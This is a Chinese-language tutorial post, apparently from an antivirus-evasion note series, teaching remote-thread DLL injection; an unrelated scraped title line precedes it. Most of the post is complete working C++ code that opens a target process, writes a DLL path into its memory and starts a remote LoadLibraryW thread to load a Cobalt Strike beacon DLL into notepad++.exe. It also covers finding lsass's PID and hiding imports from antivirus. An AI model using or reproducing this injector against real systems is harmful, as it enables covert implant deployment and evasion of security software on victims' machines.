案例較少如何做設計公司網(wǎng)站百度統(tǒng)計代碼安裝位置
這段時間我們暫時沒什么事情干的話我們就繼續(xù)更新我們的免殺筆記力!!!
? ?:今天我們講DLL注入
目錄
1.DLL注入
2.直接加載DLL?
3.遠程線程注入
獲取Handle
遠程申請內(nèi)存空間
將我們的CS的DLL加載入內(nèi)存
創(chuàng)建遠程線程,Load上線DLL
等待遠程線程結束,釋放DLL空間,關閉線程句柄
4.GetProcessPID
5.打開空間
6.申請遠程內(nèi)存
7.CS上線DLL寫入內(nèi)存
8.獲取LoadLibrary地址
9.創(chuàng)建線程
10.等待線程結束,釋放DLL空間,關閉句柄
11.最終代碼
1.DLL注入
DLL注入,也叫做遠程線程注入!
DLL(Dynamic Link Library)注入是一種技術,它允許一個進程向另一個進程中注入一個動態(tài)鏈接庫(DLL)。這種技術通常用于軟件開發(fā)和系統(tǒng)管理,但也可能被惡意軟件用來實現(xiàn)特定目的。
這里說明一個東西先,不知道大家有沒有好奇過,為什么我并沒有l(wèi)oad user32.dll 卻可以使用MessageBoxA這樣的函數(shù)?????
那是因為我們包含了Windows.h這樣的頭文件(不信你試試不包含,絕對報錯!)
在Windows平臺上,
Windows.h
頭文件是包含了大量Windows API的頭文件之一,它會在編譯時引入所有必要的聲明和定義,包括user32.dll
中的函數(shù)聲明。
所以如果你去查看這個程序的導出表的時候,是能看得見user32.dll這個DLL的(就算你沒有手動去LoadLibrary)
2.直接加載DLL?
有人就會想了,我們直接去我們自己寫一個C語言,然后LoadLibrary不就好了嗎!!!?
然后現(xiàn)實生活中也確實可以如此!!!? 我們來演示一下
? ?先去生成一個上線DLL?
然后我們直接寫一個C代碼(不能讓他結束,否則ShellCode的內(nèi)存資源就被釋放了)
其中下面的那個DLL,是我們上線的DLL
int main()
{LoadLibrary(L"C:\\Users\\ASUS\\Desktop\\inject.dll");while (1){//DoNothing}return 0;
}
我們是能夠成功的看見上線的
我們還可以通過Process Monitor去查看,是能看見這個DLL的
但是,有用嗎,你也不看看這是一個什么程序
?:既不是UAC白名單,又沒有數(shù)字簽名,還直接LoadLibary,你當殺軟不存在?
所以即使上面的方法是能上線的,我們也不會去這樣直接加載我們的上線的DLL!?
3.遠程線程注入
既然我們不想本地加載我們的DLL,那我們就只能遠程加載了,因此DLL注入也被稱為遠程線程注入 !!!!?
那么我們應該怎么去進行遠程線程注入呢???? 有以下的步驟
- 獲取進程的句柄(Handle)
- 遠程申請內(nèi)存空間
- 將我們的CS上線DLL加載入內(nèi)存?
- 獲取Loadlibrary的地址
- 創(chuàng)建遠程線程,load上線DLL
- 等待遠程線程結束
- 釋放DLL空間
- 關閉線程句柄
下面我們來一步一步介紹一下這個過程
獲取Handle
首先我們就是獲取一個已經(jīng)正在運行的EXE的句柄,便于我們后續(xù)去操作
遠程申請內(nèi)存空間
這里我們會遠程申請一個內(nèi)存空間
將我們的CS的DLL加載入內(nèi)存
這里可能會有點迷惑,就是為什么我們需要將DLL寫入我們的內(nèi)存之中呢??
其實就是因為沒有RemoteLoadLibrary這樣的操作,我們不能讓別人的EXE直接LoadLibrary!
創(chuàng)建遠程線程,Load上線DLL
我們不能遠程LoadLibrary,但是我們可以遠程創(chuàng)建線程去Load我們的上線DLL
等待遠程線程結束,釋放DLL空間,關閉線程句柄
然后就是等待遠程線程結束了,釋放DLL空間,關閉線程句柄
4.GetProcessPID
其實這不是一個標準的函數(shù),是我們自己寫的!! 用來通過進程名獲取對應的PID
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
不過運行這個函數(shù)我們還得包含一個頭文件Tlhelp32.h!! 下面我們來獲取一下lsass進程的PID
#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}int main()
{cout << "Lsass進程的PID是: " << GetProcessPID(L"lsass.exe") << endl;return 0;
}
其中由于編碼問題,我們的GetProcePID接受的字符串需要我們手動在他前面加上一個L
然后我們?nèi)ミ\行查看效果
我們?nèi)md查看,發(fā)現(xiàn)也是1348
這樣,我們就能獲取到我們想要注入程序的PID了
5.打開空間
首先我們就要通過OpenProcess來獲取我們句柄Handle
OpenProcess
是一個Windows API函數(shù),用于打開一個已存在的進程并返回進程的句柄。通過這個句柄,可以執(zhí)行一系列操作,比如讀取或修改進程的內(nèi)存,獲取進程的信息等。
所以我們的代碼就可以這么寫
HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
首先OpenProcess接受三個參數(shù),一個是對當前的進程的權限(這里我給了ALL,實際上有可能會被殺軟監(jiān)控),然后就是是否繼承,這里我們直接寫False就好了,最后一個就是該進程的PID,這里我們就用我們剛才找到的PID即可!!!
最好我們可以寫一個判斷(圈內(nèi)玩免殺的人都這樣,不過也可以理解,否則運行一個EXE啥也沒有,感覺有點干澀)
HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (OriginalProcessHandle == NULL)
{cout << "Get originalprocesshandle failed :(" << endl;
}
else {cout << "Get originalprocesshandle successfully :)" << endl;
}
6.申請遠程內(nèi)存
這里我們就要用到VirtualAllocEx這個函數(shù)遠程申請內(nèi)存空間了
DWORD length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (RemoteMemory == NULL)
{cout << "VritualAlloc Address Falied :(" << endl;
}else {cout << "VirtualAlloc Address successfully :)" << endl;
}
首先我們先不管那個length,我們來看看VirtualAllocEx的參數(shù),第一個就是我們上面獲取到的Handle,然后就是NULL,接著就是我們DLL路徑的length,然后MEM_COMMIT和PAGE_EXECUTE_READWRITE就和普通的VirtualAlloc一樣
這里我覺得有要說一下的,就是那個Length是DLL的路徑長度,又應為那個長度是以兩個字節(jié)在內(nèi)存中存儲的,所以我們要*sizeif(tchar)
這里并不是說把DLL的內(nèi)容加載到了內(nèi)存中,而是將DLL的路徑當作副本加載入內(nèi)存,方便我們后面LoadLibrary!!!
7.CS上線DLL寫入內(nèi)存
這里我們用WirteProcessMemory,還是先貼代碼
BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
if (WriteStatus == 0)
{cout << "Write CS's DLL into memory failed :(" << endl;
}else
{cout << "Write CS's DLL into memory successfully :)" << endl;
}
第一個參數(shù)是句柄,然后就是遠程的虛擬地址,然后就是我們的DLL的地址,長度,NULL
8.獲取LoadLibrary地址
其實這里我們完全可以不用這一步,直接創(chuàng)建線程LoadLibrary,但是為了在導入表不那么明顯,我們還是低配的隱藏一下(GetProcessAddress還是暴露了)
FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibrary");
這里我們用函數(shù)指針類型(FARPOC)來接收,GetProcAddress接受兩個參數(shù),一個是目標DLL的句柄,一個就是導出函數(shù)的名稱!!?
那么我們既然想繞開Loadlibrary, 我們就要用GetModuleHandle來獲取Kernel32的句柄,并且在Kernerl32中找到Loadlibrary這個函數(shù),并且返回函數(shù)地址!?
9.創(chuàng)建線程
還是來先貼一段代碼
HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "Remote thread create failed :(" << endl;return;}else {cout << "Remote thread create successfully :)" << endl;}
CreateRemoteThread接受三個參數(shù) ,注入程序的Handle ,NULL,0,指向線程函數(shù)的指針,即要在線程中執(zhí)行的代碼的入口點(需要強制類型轉(zhuǎn)換!),遠程申請到的地址,0,NULL
通過上面的這個代碼,我們就能為遠程的程序創(chuàng)建到一個線程!!!
10.等待線程結束,釋放DLL空間,關閉句柄
這三個就沒什么好說的了吧!
//6.等待線程結束
WaitForSingleObject(RemoteHandle, -1);//7.釋放DLL空間
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.關閉句柄
CloseHandle(OriginalProcessHandle);
最后就是將上面的一眾API封裝成為一個函數(shù),并且傳入兩個參數(shù),一個是進程的API,一個就是我們的DLL路徑
void DLLInject(DWORD pid,LPCWSTR dllpath)
其中LPCWSTR 是在 Windows 平臺上用于表示“指向以 null 結尾的寬字符常量”的指針類型。
11.最終代碼
然后就是我們的成品代碼了!!!?
#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//LPCWSTR 是在 Windows 平臺上用于表示“指向以 null 結尾的寬字符常量”的指針類型。//1.獲取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle == NULL){cout << "Get originalprocesshandle failed :(" << endl;return;}else {cout << "Get originalprocesshandle successfully :)" << endl;}//2.遠程申請內(nèi)存DWORD length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << "VritualAlloc Address Falied :(" << endl;return;}else {cout << "VirtualAlloc Address successfully :)" << endl;} //3.將CS上線的DLL寫入內(nèi)存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus == 0){cout << "Write CS's DLL into memory failed :(" << endl;return;}else{cout << "Write CS's DLL into memory successfully :)" << endl;}//4.獲取LoadLibrary地址FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.創(chuàng)建線程HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << "Remote thread create failed :(" << endl;return;}else {cout << "Remote thread create successfully :)" << endl;}//6.等待線程結束WaitForSingleObject(RemoteHandle, -1);//7.釋放DLL空間VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.關閉句柄CloseHandle(OriginalProcessHandle);cout << "DL1 inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int main()
{DWORD PID = GetProcessPID(L"notepad++.exe");DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");return 0;
}
這里我選擇注入的是Notepad++你們當然也可以注別的,不過要注意權限噢!!!?
成果展示(記得先打開Notepad++)
當然了,我們后面再把從CMD獲取DLL的路徑,以及程序名字的功能完善之后,我就把他扔到Github上